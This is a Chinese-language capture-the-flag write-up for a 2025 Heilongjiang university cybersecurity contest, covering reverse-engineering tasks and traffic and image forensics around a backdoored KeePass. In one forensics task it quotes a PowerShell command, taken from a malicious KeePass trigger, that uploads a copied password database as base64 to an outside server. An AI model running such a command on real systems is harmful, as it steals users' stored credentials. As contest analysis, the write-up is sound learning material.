2025年黑龙江省大学生网络安全挑战赛WriteUp
Reverse
REVERSE-1
IDA打开,手动设置显示为字符,注意小端序
REVERSE-2
一处花指令阻止IDA函数的识别,处理后反编译如下:
提取buffer并解密,编写脚本如下:
#include <stdio.h>
#include <stdlib.h>
int main()
{
unsigned char buffer[] =
{
0x51, 0x7D, 0xE1, 0x4C, 0x43, 0x8A, 0xDE, 0xDC, 0x48, 0x8F,
0x07, 0xE2, 0x1F, 0xC0, 0x42, 0x0D, 0xAE, 0xEE, 0x79, 0x99,
0xDA, 0x53, 0x74, 0x5A, 0xF7, 0x5F, 0x14, 0xF9, 0xBC, 0x01,
0xDA, 0x77, 0x9F, 0xD5, 0xE3, 0x4E, 0x65, 0x02, 0xE9, 0x2A
};
srand(0xDEADBEEF);
for (int i = 0; i < 40; i += 2)
{
int num = rand() % 255;
buffer[i] ^= buffer[i + 1];
buffer[i + 1] += (buffer[i]) ^ num;
buffer[i] -= num;
}
printf("%s\n", buffer);
return 0;
}
运行后得出flag
Misc
KeePass数据泄露-1
要求找到其他用户,分析http流量,发现online-list:
JusticeEnforcement-DeepMountains-nullSecurity-zhaowendao
KeePass数据泄露-2
要求找到诱导agiao下载的时间,分析流量,梳理出如下对话:
参考过滤规则:
http &&( _ws.col.info contains "updated" || _ws.col.info contains "message" || (_ws.col.info contains "200" && json.key contains "updated" && json.value.string contains "\\"))
KeePass数据泄露-3
要求找到每次保存密码时,密码还会被另存为到的路径
这里涉及到了对下载到的keepass的分析,wireshark中导出从124.221.70.199
下载到的文件:
压缩包内容如下:
发现可执行文件的修改日期几乎都是2023年,只有两个目录和config文件的修改日期是2024年
打开KeePass.config.xml
文件,发现了缩进不协调的内容:
如果在keepass中运行,发现触发器功能,窗口如下:
描述了上方配置文件中的内容的作用,我们也获取到了该题的flag
c:\users\administrator\appdata\local\temp\giao.xml
KeePass数据泄露-4
在上一题的触发器中,我们发现了如下执行指令:
PowerShell.exe -ex bypass -noprofile -c Invoke-WebRequest -uri http://124.221.70.199:8866/giao.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\administrator\AppData\Local\Temp\giao.xml')))
如上指令,将另存的数据库转为base64上传到了服务器上,在wireshark中导出
base64解码后,定位到如下处:
即得知远程服务器的账号密码
MISC-1
kafuka压缩包中存在一个加密的图片,经分析非伪加密,开始分析ciphertext.png
+
提示IDAT中有一个块出现了CRC校验错误,同时发现这个块的大小与正常严重不符,删除这个块,发现图片仍可正常查看
提取这个块的数据,如下:
发现文件头部是PNG文件的尾部逆序,处理后如下:
发现藏了一张图片的对应表,翻译后得到压缩包密码Kafkaisthebest
,解压图片后得到flag:
MISC-2
USB协议分析,待填坑